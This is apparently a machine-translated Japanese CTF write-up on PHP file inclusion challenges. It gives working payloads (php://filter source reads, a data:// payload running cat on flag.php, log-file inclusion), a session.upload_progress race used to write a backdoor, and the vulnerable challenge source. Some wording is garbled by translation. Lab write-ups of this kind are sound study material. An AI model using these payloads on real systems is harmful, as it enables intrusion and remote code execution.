- 今日の脆弱性が含まれているファイルを確認してください
ウェブ78
ペイロード:
?file=php://filter/convert.base64-encode/resource=flag.php
ウェブ79
ペイロード:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
ウェブ80-81
- この質問には最初からスキルがあります
- ソースコードはphpをフィルタリングし、データの疑似プロトコルは使用できません
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
- ペイロード
?file=/var/log/nginx/access.log
- ファイルにはログファイルが含まれています
ウェブ82
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
- フィルタリングされた場合、上記の質問で使用された方法は機能しません
- この質問のWPの読み方がわかりません
- 学習教材session.upload_progressのファイルインクルードは次のとおりです。
連行された私的活動[NPUCTF2020] ezinclude
- ページに入ったときにヒントを出しました
<!--md5($secret.$name)===$pass -->
- パケットがキャプチャされた後、ハッシュ値は直接URLアップロードされます
- そして、ヒントを与えました
include($_GET["file"]
- ソースコードを読んでみてください
\flflflflag.php?file=php://filter/convert.base64-encode/resource%3dflflflflag.php
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
- これらを直接フィルタリングすることは機能せず、2つの方法を考えます。1つはログファイル(パスがわからない)で、もう1つは
ファイルを含めるためのsession.upload_progressです。 - この質問に対する私の解決策は、ファイルを含めてから競合攻撃を使用するsession.upload_progressです。
- POC
- ステージングされたファイルへのアクセス
- 競争攻撃
- バックドアを書く
- POSTパラメーター:cmd = phpinfo();
- フラグはphpinfo()にあります。カタログファイルを検索し、最後にwpを調べて、phpinfo()にあることを確認しました。